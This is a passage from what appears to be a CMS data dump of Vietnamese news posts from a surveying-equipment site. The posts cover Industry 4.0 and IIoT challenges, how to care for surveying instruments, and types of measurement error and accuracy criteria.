rõ rang, ngắn gọn và dễ hiểu. Hệ thống tạo ra một "bản sao" của thế giới thật, bản sao này định hình bằng các dữ liệu thu thập từ cảm biến, máy móc</span></span></p> <ol start="3" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Hỗ trợ kỹ thuật</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Hệ thông này sẽ giúp con người theo 2 cách. Thứ nhất, nó sẽ hỗ trợ chúng ta ra quyết định và giải quyết vấn đề bằng cách cung cấp thông tin cho tiết dựa vào dữ liệu. Thứ hai, nó sẽ hỗ trợ chúng ta làm những việc quá phức tạp hoặc không an toàn</span></span></p> <ol start="4" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Đưa quyết định theo mô hình phân tán</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Các hệ thống không gian mạng thực-ảo phải có khả năng đưa ra quyết định đơn giản mọt cách nhanh chóng, tự động, không cần con người can thiệp sử dụng phân tích dữ liệu. Mục tiêu cuối cùng của công nghiệp 4.0 là tự động hóa quy trình sản xuất và tối đa hóa quy mô. Sử dụng quy trình tự động hóa này, công việc có thể được thực hiện bằng máy móc, tăng phạm vi tối ưu hóa thời gian và phân bổ nguồn lực.</span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> </p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Thử thách liên quan đến việc triển khai công nghiệp 4.0?</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <img alt="" src="/admin/webroot/upload/image/images/CM 4_0 2(1).jpg" style="width: 276px; height: 182px;" /></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-family: tahoma, geneva, sans-serif; font-size: 14px;">Triển khai công nghiệp 4.0 cũng có thể sẽ gặp phải các khó khăn sau:</span></p> <ol style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Vấn đề bảo mật</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Toàn bộ dữ liệu đều có sẵn , truyền qua Internet đến thiết bị từ xa. Điều này cho thấy dữ liệu rất có nguy cơ bị xâm phạm bảo mật, ăn cắp và thao tác.</span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Kiến thức sản xuất độc quyền, nếu bị xâm nhập, sẽ có thể dẫn đến thiệt hại lớn đến doanh thu của công ty.</span></span></p> <ol start="2" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Tin tưởng và ổn định</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Nếu thông tin liên lạc nhận được qua cảm biến IoT không được sắp xếp hoặc không đúng lúc sẽ được xem là không đáng tin cậy. Rõ rang, bạn không thể tự động hóa một nhà máy hoạt động dựa trên dữ liệu không đáng tin cậy. Việc duy trì sự toàn vẹn quy trình sản xuất trong khi giảm thiểu sự can thiệp của con người rất phức tạp</span></span></p> <ol start="3" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Thiết lập kết nối</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Chúng ta gần như không thể đảm bảo kết nối internet 100%. Kể cả khi mạng không có khả năng bị hỏng bất ngờ, bạn vẫn sẽ cần tính đến việc bảo trì máy chủ. Rất khó để đảm bảo không mất dữ liệu ngay cả khi kết nối cực hạn hoặc bùng phát đột ngột.</span></span></p> <ol start="4" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Phối hợp hệ thống cũ với IIoT</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Các hệ thống cũ không được thiết kế để tuân thủ các yêu cầu của công nghệ cảm biến. Nhưng hiện đại hóa toàn bộ cơ sở hạ tầng là không khả khi đối với phần lớn các nhà sản xuất. Vì vậy, đòi hỏi phải phối hợp IIoT với hệ thống máy móc cũ để đảm bảo ROI tốt nhất với sự đầu tư của nhà sản xuất.</span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Ngoài nhứng thách thức trên, nhà sản xuất cũng phải đối mặt với các vấn đề từ nhà đầu tư, đội ngũ kỹ thuật nội bộ. Các nhà đầu tư khá miễn cưỡng với các cuộc cách mạng quy mô lớn. Đồng thời, năng lực IT có sẵn không thường xuyên được cập nhật để xử lý những thách thức này. Dữ liệu nghiên cứu thị trường và xu hướng chuyển đổi kỹ thuật số đã mở ra cái nhìn mới cho nhà đầu tư. Hạn chế về năng lực kỹ thuật vẫn sẽ là mối quan tâm chung khi triển khai bất kỳ IIoT.</span></span></p> ', 'images' => '201905200812307bda1a1c4b780f467d4ece9a47eb5c1b.jpg', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-05-20', 'modified' => '2025-08-19', 'status' => '1', 'view' => '63417', 'slug' => 'lam-the-nao-de-cac-nha-san-xuat-co-the-san-sang-cho-cach-mang-cong-nghiep-4-0-va-iiot', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '941', 'rght' => '942', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 2 => array( 'Post' => array( 'id' => '537', 'name' => 'Cách bảo quản thiết bị trắc địa đúng cách', 'code' => null, 'alias' => 'cach-bao-quan-thiet-bi-trac-dia-dung-cach', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;">Bảo quản thiết bị trắc địa đúng cách rất quan trọng đối với các kĩ sư đo đạc. Nhất là khi giá trị của các thiết bị như máy toàn đạc điện tử, máy thủy bình,… không hề nhỏ. Bảo quản thiết bị trắc địa tốt sẽ giúp tiết kiệm nhân công, thời gian, chi phí cho các công trình xây dựng. </span></span>', 'content' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><strong>Thiết bị trắc địa</strong> cần được bảo quản cẩn thận để phát huy tối đa tính năng sử dụng của nó cũng như giảm chi phí đầu tư. Trước khi sử dụng thiết bị, hãy dành một ít thời gian để đọc và làm theo hướng dẫn bảo trì sau:<br /> - Không để thiết bị dưới ánh mặt trời trực tiếp hoặc trong xe kín trong thời gian dài. Nhiệt độ quá nóng có thể làm giảm hiệu quả của nó.<br /> - Nếu thiết bị đã được sử dụng trong điều kiện ẩm ướt, ngay lập tức lau sạch bất kỳ độ ẩm và làm khô thiết bị hoàn toàn trước khi cho lại thiết bị vào hộp đựng.<br /> - Thiết bị điện tử nhạy cảm đã được bảo vệ tốt trong hộp đựng chống lại bụi và độ ẩm.<br /> Tuy nhiên, nếu bụi hoặc hơi ẩm bám vào dụng cụ, có thể gây ra hư hại nghiêm trọng. Vì vậy, hãy chắc chắn thiết bị của bạn được bỏ vào hộp ngay sau khi sử dụng và vệ sinh.<br /> - Những thay đổi đột ngột về nhiệt độ có thể làm mờ ống kính và giảm đáng kể mức đo được khoảng cách hoặc gây ra lỗi hệ thống điện. Nếu có sự thay đổi đột ngột về nhiệt độ, để dụng cụ trong hộp đựng kín ở vị trí ấm cho đến khi nhiệt độ của thiết bị trở về nhiệt độ phòng.<br /> - Không bảo quản thiết bị trắc địa ở những nơi nóng hoặc ẩm ướt. Đặc biệt, bạn phải lưu trữ bộ pin ở nơi khô ráo ở nhiệt độ dưới 30 ° C (86 ° F). Nhiệt độ cao hoặc độ ẩm quá mức có thể khiến nấm mốc phát triển trên các ống kính. Nó cũng có thể làm cho thị kính điện tử bị mờ đi và do đó dẫn đến việc khó bắt mục tiêu.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/DTM 322(1).jpg" style="width: 400px; height: 391px;" /><br /> - Khi bảo quản thiết bị ở những nơi có nhiệt độ cực thấp, hãy để hộp đựng mở.<br /> - Khi điều chỉnh các ốc cân bằng máy, hãy đặt vị trí càng gần vị trí trung tâm của ốc cân bằng máy.<br /> - Không sử dụng dung môi hữu cơ (chẳng hạn như ether hoặc chất pha loãng sơn) để làm sạch các bộ phận phi kim loại của thiết bị (chẳng hạn như bàn phím hoặc các bề mặt được sơn của máy). Làm như vậy có thể dẫn đến đổi màu bề mặt, hoặc lột các ký tự logo. Làm sạch những bộ phận này chỉ bằng một bông gòn, vải hoặc khăn giấy, thấm nhẹ bằng nước hoặc chất tẩy nhẹ.<br /> - Để vệ sinh ống kính quang học, hãy lau nhẹ bằng một miếng vải mềm hoặc bông gòn được thấm cồn.<br /> - Trước khi gắn pin, hãy chắc chắn rằng bề mặt tiếp xúc trên bề mặt pin và dụng cụ đã được lau chùi sạch sẽ.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/HOP MAY_02 B40A(2).jpg" /><br /> - Hộp đựng được thiết kế kín nước, nhưng bạn không nên để nó tiếp xúc với mưa lớn.<br /> <br /> Bảo quản thiết bị trắc địa là một trong những khâu quan trọng giúp việc đo đạc được chính xác. Nó giúp hỗ trợ giảm chi phí đầu tư cũng như chi phí sửa chữa máy. Hy vọng những thông tin trên sẽ hữu ích cho bạn.<br /> </span></span>', 'images' => '201905030810258d806bbec8ab9ba5235e121c05e3154a.jpg', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-05-03', 'modified' => '2025-08-18', 'status' => '1', 'view' => '75066', 'slug' => 'cach-bao-quan-thiet-bi-trac-dia-dung-cach', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '939', 'rght' => '940', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 3 => array( 'Post' => array( 'id' => '536', 'name' => 'Các loại sai số, tiêu chí đánh giá độ chính xác kết quả đo', 'code' => null, 'alias' => 'cac-loai-sai-so-tieu-chi-danh-gia-do-chinh-xac-ket-qua-do', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '', 'content' => '<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; font-weight: 700;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">1. Các loại sai số trong đo đạc.</em></span></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">a) Sai số sai lầm.</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Sai số sai lầm là do người đo thiếu cẩn thận trong khi đo, hoặc kỹ thuật đo không bảo đảm. Sai số này thường có giá trị tương đối lớn.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Khắc phục: đổi người đo</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">b) Sai số hệ thống:</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Là những sai số do độ chính xác của máy và không bảo đảm hoặc do thói quen, thị lực của người đo.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Sai số hệ thống thường có dấu và giá trị không đổi.</span></span></div> <p style="box-sizing: border-box; margin: 0px 0px 10px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> </p> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Loại trừ sai số hệ thống:</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Nếu do máy thì chúng ta có thể kiểm nghiệm, xác định giá trị sai số của máy rồi lấy kết quả đo trừ đi giá trị sai số đó.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- nếu do người đo thì chúng ta có thể kiểm nghiện sai số của người bằng cách so sánh kết quả của người đo với một vài người đo khác để biết được mức độ sai khác nhau về kết quả, sau đó lấy kết quả đo trừ đi giá trị sai khác đó.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">c) Sai số ngẫu nhiên.</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Là những sai số xuất hiện trong kết quả đo một cách ngẫu nhiên mà không thể xác định được quy luật cũng như giá trị và nguyên nhân của sai số đó.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Sai số ngẫu nhiên không thể loại trừ được, tuy nhiên qua nghiên cứu cho thấy sai số ngẫu nhiên có những tính chất sau đây:</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> - Các giá trị tuyệt đối của sai số ngẫu nhiên không vượt quá một giá trị nhất định nào đó.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Các giá trị sai số ngẫu nhiên càng nhỏ thì có khả năng xuất hiện càng nhiều, còn giá trị càng lớn thì xuất hiện càng ít.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Sai số ngẫu nhiên mang giá trị dương (+) và sai số ngẫu nhiên mang giá trị âm (-) có xác suất xuất hiện bằng nhau khi số lần đo tiến tới vô cùng.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Tổng đại số của các giá trị sai số ngẫu nhiên của n lần đo cho một đại lượng là bằng không khi:<a href="https://4.bp.blogspot.com/-xRibgiac6uE/Ur6R6Z6lB6I/AAAAAAAADeo/LSe-3TIrzM4/s1600/gisgpsrs-trac-dia-co-so.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://4.bp.blogspot.com/-xRibgiac6uE/Ur6R6Z6lB6I/AAAAAAAADeo/LSe-3TIrzM4/s1600/gisgpsrs-trac-dia-co-so.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; font-weight: 700;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">2. Các tiêu chí đánh giá độ chính xác kết quả đo.</em></span></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">a) Sai số trung bình cộng (kí hiệu là s): được tính theo công thức sau:</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><a href="https://4.bp.blogspot.com/-R8MMROfkfWU/Ur6SpdB55TI/AAAAAAAADew/MkE9uEdOJ3Y/s1600/gisgpsrs-trac-dia-co-so-sai-so.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://4.bp.blogspot.com/-R8MMROfkfWU/Ur6SpdB55TI/AAAAAAAADew/MkE9uEdOJ3Y/s1600/gisgpsrs-trac-dia-co-so-sai-so.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Trong đó: s- sai số trung bình cộng</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> </div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> <a href="https://2.bp.blogspot.com/-XitZG4vs5lY/Ur6TBEfaApI/AAAAAAAADe4/0ebiserIDsY/s1600/gisgpsrs-sai-so-do.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://2.bp.blogspot.com/-XitZG4vs5lY/Ur6TBEfaApI/AAAAAAAADe4/0ebiserIDsY/s1600/gisgpsrs-sai-so-do.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a>- sai số ngấu nhiên của lần đo thứ i</span></span></div> <p style="box-sizing: border-box; margin: 0px 0px 10px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> </p> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> n – số lần đo</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">b) Sai số trung phương (kí hiệu là m): được tính theo công thức:</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><a href="https://3.bp.blogspot.com/-q6MGq8qVYW8/Ur6Tijo7boI/AAAAAAAADfA/34rOoWyxlOg/s1600/gisgpsrs-sai-so-trung-phuong.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://3.bp.blogspot.com/-q6MGq8qVYW8/Ur6Tijo7boI/AAAAAAAADfA/34rOoWyxlOg/s1600/gisgpsrs-sai-so-trung-phuong.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Trong đó: m – sai số trung phương</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> </div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> <a href="https://3.bp.blogspot.com/-XitZG4vs5lY/Ur6TBEfaApI/AAAAAAAADe8/RFQOzCDHS1Y/s1600/gisgpsrs-sai-so-do.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://3.bp.blogspot.com/-XitZG4vs5lY/Ur6TBEfaApI/AAAAAAAADe8/RFQOzCDHS1Y/s1600/gisgpsrs-sai-so-do.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a>- sai số ngấu nhiên của lần đo thứ i</span></span></div> <p style="box-sizing: border-box; margin: 0px 0px 10px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> </p> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> n – số lần đo</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">c) Sai số xác suất (kí hiệu là p)</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Trong dãy kết quả đo nếu sắp xếp các sai số theo giá trị tuyệt đối từ bé đến lớn thì sai số xác suất p có giá trị của sai số đứng giữa về thứ tự sắp xếp.</span></span></div> <div style="box-sizing: border-box; 